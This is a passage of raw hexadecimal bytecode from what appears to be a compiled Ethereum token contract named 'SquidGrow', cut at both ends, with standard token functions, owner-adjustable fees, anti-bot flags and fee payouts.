fffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620009da919062000d88565b60405180910390a3505062000da5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a785780860481111562000a505762000a4f620009ea565b5b600185161562000a605780820291505b808102905062000a708562000a19565b945062000a30565b94509492505050565b60008262000a93576001905062000b66565b8162000aa3576000905062000b66565b816001811462000abc576002811462000ac75762000afd565b600191505062000b66565b60ff84111562000adc5762000adb620009ea565b5b8360020a91508482111562000af65762000af5620009ea565b5b5062000b66565b5060208310610133831016604e8410600b841016171562000b375782820a90508381111562000b315762000b30620009ea565b5b62000b66565b62000b46848484600162000a26565b9250905081840481111562000b605762000b5f620009ea565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000b918262000b6d565b915062000b9e8362000b77565b925062000bcd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a81565b905092915050565b600062000be28262000b6d565b915062000bef8362000b6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000c2b5762000c2a620009ea565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c728262000b6d565b915062000c7f8362000b6d565b92508262000c925762000c9162000c36565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ccf8262000ca2565b9050919050565b62000ce18162000cc2565b811462000ced57600080fd5b50565b60008151905062000d018162000cd6565b92915050565b60006020828403121562000d205762000d1f62000c9d565b5b600062000d308482850162000cf0565b91505092915050565b62000d448162000cc2565b82525050565b600060408201905062000d61600083018562000d39565b62000d70602083018462000d39565b9392505050565b62000d828162000b6d565b82525050565b600060208201905062000d9f600083018462000d77565b92915050565b6156558062000db56000396000f3fe6080604052600436106102295760003560e01c80638da5cb5b11610123578063c79e12eb116100ab578063eab281bd1161006f578063eab281bd1461080c578063f0b37c0414610835578063f2fde38b1461085e578063fc5266c814610887578063fe9fbb80146108b057610230565b8063c79e12eb14610717578063d2d55dde14610740578063dd62ed3e1461077d578063df20fd49146107ba578063ea567040146107e357610230565b8063a8aa1b31116100f2578063a8aa1b3114610620578063a9059cbb1461064b578063aff75ce114610688578063b6a5d7de146106b1578063c5a11b7b146106da57610230565b80638da5cb5b146105785780639017ab2d146105a357806391e0f7e9146105cc57806395d89b41146105f557610230565b806334b489bf116101b1578063749796a511610175578063749796a5146104b95780637598122d146104e257806375b2f5c5146104f957806378109e54146105225780637d1db4a51461054d57610230565b806334b489bf146103ea5780635def85e4146104135780636ca105491461043c57806370a0823114610465578063715018a6146104a257610230565b806323b872dd116101f857806323b872dd146102f15780632b112e491461032e5780632f54bf6e146103595780633052ea0814610396578063313ce567146103bf57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d5780631d501240146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108ed565b6040516102579190614359565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190614414565b61092a565b604051610294919061446f565b60405180910390f35b3480156102a957600080fd5b506102b2610941565b6040516102bf9190614499565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906144e0565b61094b565b005b3480156102fd57600080fd5b5061031860048036038101906103139190614520565b6109ee565b604051610325919061446f565b60405180910390f35b34801561033a57600080fd5b50610343610ab9565b6040516103509190614499565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190614573565b610b1a565b60405161038d919061446f565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906145a0565b610b73565b005b3480156103cb57600080fd5b506103d4610c52565b6040516103e191906145e9565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c91906145a0565b610c5b565b005b34801561041f57600080fd5b5061043a600480360381019061043591906144e0565b610cf5565b005b34801561044857600080fd5b50610463600480360381019061045e9190614604565b610d98565b005b34801561047157600080fd5b5061048c60048036038101906104879190614573565b610e02565b6040516104999190614499565b60405180910390f35b3480156104ae57600080fd5b506104b7610e4b565b005b3480156104c557600080fd5b506104e060048036038101906104db9190614573565b610f0e565b005b3480156104ee57600080fd5b506104f7610fb1565b005b34801561050557600080fd5b50610520600480360381019061051b9190614520565b611003565b005b34801561052e57600080fd5b50610537611173565b6040516105449190614499565b60405180910390f35b34801561055957600080fd5b50610562611179565b60405161056f9190614499565b60405180910390f35b34801561058457600080fd5b5061058d61117f565b60405161059a919061467a565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190614573565b6111a3565b005b3480156105d857600080fd5b506105f360048036038101906105ee91906144e0565b61122f565b005b34801561060157600080fd5b5061060a611381565b6040516106179190614359565b60405180910390f35b34801561062c57600080fd5b506106356113be565b604051610642919061467a565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614414565b6113e4565b60405161067f919061446f565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190614695565b6113fb565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190614573565b611451565b005b3480156106e657600080fd5b5061070160048036038101906106fc9190614573565b6114f3565b60405161070e919061446f565b60405180910390f35b34801561072357600080fd5b5061073e60048036038101906107399190614695565b611549565b005b34801561074c57600080fd5b50610767600480360381019061076291906146d5565b611684565b6040516107749190614499565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f91906146d5565b611898565b6040516107b19190614499565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc9190614715565b61191f565b005b3480156107ef57600080fd5b5061080a60048036038101906108059190614755565b61198c565b005b34801561081857600080fd5b50610833600480360381019061082e919061480b565b611c96565b005b34801561084157600080fd5b5061085c60048036038101906108579190614573565b611da7565b005b34801561086a57600080fd5b50610885600480360381019061088091906148c4565b611e4a565b005b34801561089357600080fd5b506108ae60048036038101906108a991906148f1565b611f63565b005b3480156108bc57600080fd5b506108d760048036038101906108d29190614573565b611fc8565b6040516108e4919061446f565b60405180910390f35b60606040518060400160405280600981526020017f537175696447726f770000000000000000000000000000000000000000000000815250905090565b600061093733848461201e565b6001905092915050565b6000600254905090565b61095433611fc8565b610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a9061496a565b60405180910390fd5b81600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006109fb8484846121e7565b610aae8433610aa9856040518060600160405280602881526020016155f860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f49092919063ffffffff16565b61201e565b600190509392505050565b6000610b15610ac86000610e02565b610b07610af6600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e02565b60025461244990919063ffffffff16565b61244990919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b610b7c33611fc8565b610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061496a565b60405180910390fd5b6000479050602a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610c226064610c14868661245f90919063ffffffff16565b61247590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610c4d573d6000803e3d6000fd5b505050565b60006013905090565b610c6433611fc8565b610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a9061496a565b60405180910390fd5b6001600e60146101000a81548160ff0219169083151502179055506001601b60016101000a81548160ff021916908315150217905550610cec814261248b90919063ffffffff16565b600f8190555050565b610cfe33611fc8565b610d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d349061496a565b60405180910390fd5b81600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610da133611fc8565b610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061496a565b60405180910390fd5b836020819055508260218190555081601f8190555080601e8190555050505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e5433611fc8565b610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a9061496a565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610ec3919061467a565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f1733611fc8565b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061496a565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610fba33611fc8565b610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff09061496a565b60405180910390fd5b6110016124a1565b565b61100c33611fc8565b61104b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110429061496a565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611086919061467a565b602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061499f565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8461110c60646110fe878761245f90919063ffffffff16565b61247590919063ffffffff16565b6040518363ffffffff1660e01b81526004016111299291906149cc565b6020604051808303816000875af1158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190614a0a565b5050505050565b60055481565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111ac33611fc8565b6111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e29061496a565b60405180910390fd5b80602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61123833611fc8565b611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e9061496a565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60606040518060400160405280600981526020017f537175696447726f770000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113f13384846121e7565b6001905092915050565b61140433611fc8565b611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a9061496a565b60405180910390fd5b61144d8282612607565b5050565b61145a33611fc8565b611499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114909061496a565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61155233611fc8565b611591576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115889061496a565b60405180910390fd5b6000612710836002546115a49190614a66565b6115ae9190614aef565b90506000612710836002546115c39190614a66565b6115cd9190614aef565b905081600481905550806005819055506116076103e86115f9600560025461245f90919063ffffffff16565b61247590919063ffffffff16565b821015801561163f575061163b6103e861162d600560025461245f90919063ffffffff16565b61247590919063ffffffff16565b8110155b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590614b92565b60405180910390fd5b50505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561171d575042600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b80156117355750601b60019054906101000a900460ff165b806117eb5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117d2575042600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b80156117ea5750601b60019054906101000a900460ff165b5b806117f7575042600f54115b1561181957611812606460165461244990919063ffffffff16565b9050611892565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461188c5761188560155460145461248b90919063ffffffff16565b9050611892565b60145490505b92915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61192833611fc8565b611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e9061496a565b60405180910390fd5b81601760006101000a81548160ff02191690831515021790555080601c819055505050565b61199533611fc8565b6119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb9061496a565b60405180910390fd5b87602960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555086602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555085602660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084602760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083602860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050505050565b611c9f33611fc8565b611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd59061496a565b60405180910390fd5b8460108190555083601181905550826012819055508160138190555080601581905550611d40601354611d32601254611d2460115460105461248b90919063ffffffff16565b61248b90919063ffffffff16565b61248b90919063ffffffff16565b601481905550611d5c600a60165461247590919063ffffffff16565b6014541115611da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9790614bfe565b60405180910390fd5b5050505050565b611db033611fc8565b611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de69061496a565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611e5333611fc8565b611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e899061496a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611f589190614c7d565b60405180910390a150565b611f6c33611fc8565b611fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa29061496a565b60405180910390fd5b80601b60016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361208d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208490614d0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f390614d9c565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121da9190614499565b60405180910390a3505050565b6121f283838361288f565b6121fc8383612a00565b612207838383612afd565b6122118383612cf2565b61221c838383612ec4565b612227838383612fb6565b61227981600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006122c88484612fdf565b6122d257816122de565b6122dd84848461308d565b5b905061233281600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123d29190614499565b60405180910390a36123e48383613561565b6123ee848461368b565b50505050565b600083831115829061243c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124339190614359565b60405180910390fd5b5082840390509392505050565b600081836124579190614dbc565b905092915050565b6000818361246d9190614a66565b905092915050565b600081836124839190614aef565b905092915050565b600081836124999190614df0565b905092915050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016124fe919061467a565b602060405180830381865afa15801561251b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253f919061499f565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016125c09291906149cc565b6020604051808303816000875af11580156125df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126039190614a0a565b5050565b6000479050600061263383612625868561245f90919063ffffffff16565b61247590919063ffffffff16565b9050600061265e606461265060198561245f90919063ffffffff16565b61247590919063ffffffff16565b90506000612689606461267b60198661245f90919063ffffffff16565b61247590919063ffffffff16565b905060006126b460646126a660198761245f90919063ffffffff16565b61247590919063ffffffff16565b905060006126df60646126d160198861245f90919063ffffffff16565b61247590919063ffffffff16565b9050602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015612749573d6000803e3d6000fd5b50602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156127b2573d6000803e3d6000fd5b50602760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561281b573d6000803e3d6000fd5b50602860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612884573d6000803e3d6000fd5b505050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f590614eb8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361296d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296490614f4a565b60405180910390fd5b600081116129b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a790614fdc565b60405180910390fd5b6129b983610e02565b8111156129fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f29061506e565b60405180910390fd5b505050565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612aa45750600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612af957600e60149054906101000a900460ff16612af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aef906150da565b60405180910390fd5b5b5050565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ba15750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612bf75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c515750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ced57600554612cab82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b1115612cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce390615146565b60405180910390fd5b5b505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d9a5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612df05750600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e1257612e0b600160195461248b90919063ffffffff16565b6019819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ec057612e7c6018544261248b90919063ffffffff16565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60045481111580612f1e5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80612f725750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fa8906151b2565b60405180910390fd5b505050565b612fc1838383613a97565b15612fda57612fd1601c54613bb6565b60006019819055505b505050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156130855750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60006130998484613e44565b156135565760006130aa8585611684565b905060006130de6016546130d06130c18989611684565b8761245f90919063ffffffff16565b61247590919063ffffffff16565b90506000613109836130fb6013548561245f90919063ffffffff16565b61247590919063ffffffff16565b90506000613134846131266012548661245f90919063ffffffff16565b61247590919063ffffffff16565b9050600061315d8261314f858761244990919063ffffffff16565b61244990919063ffffffff16565b905060008311156132c9576131dc8360066000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b60066000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516132c09190614499565b60405180910390a35b6000821115613433576133468260066000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b60066000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161342a9190614499565b60405180910390a35b60008111156135375761348e81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161352e9190614499565b60405180910390a35b61354a848861244990919063ffffffff16565b9550505050505061355a565b8190505b9392505050565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156135d257506013600a6135c39190615305565b60026135cf9190614a66565b81105b156135e3576135e2600180612607565b5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561365557506013600a6136459190615305565b60026136519190614a66565b8110155b801561367957506013600a61366a9190615305565b60036136769190614a66565b81105b15613687576136866124a1565b5b5050565b61369482613f6a565b80156136ea5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137025750601b60019054906101000a900460ff165b806138005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156137715750601b60019054906101000a900460ff165b80156137c75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137ff57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b8061380c575042600f54115b1561386a576001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61387381613f6a565b80156138c95750600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561391f5750600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156139375750601b60019054906101000a900460ff165b80613a355750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156139e45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613a1c57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015613a345750601b60019054906101000a900460ff165b5b15613a93576001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600080601d5483101590506000601c54613ab030610e02565b10159050601b60009054906101000a900460ff16158015613add5750601760009054906101000a900460ff165b8015613ae65750815b8015613b3c5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613b925750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613ba25750601a5460195410155b8015613bab5750805b925050509392505050565b6001601b60006101000a81548160ff02191690831515021790555060006002613c14602054613c06601e54613bf8602154601f5461248b90919063ffffffff16565b61248b90919063ffffffff16565b61248b90919063ffffffff16565b613c1e9190614a66565b90506000613c4982613c3b601f548661245f90919063ffffffff16565b61247590919063ffffffff16565b90506000613c60828561244990919063ffffffff16565b90506000479050613c7082613f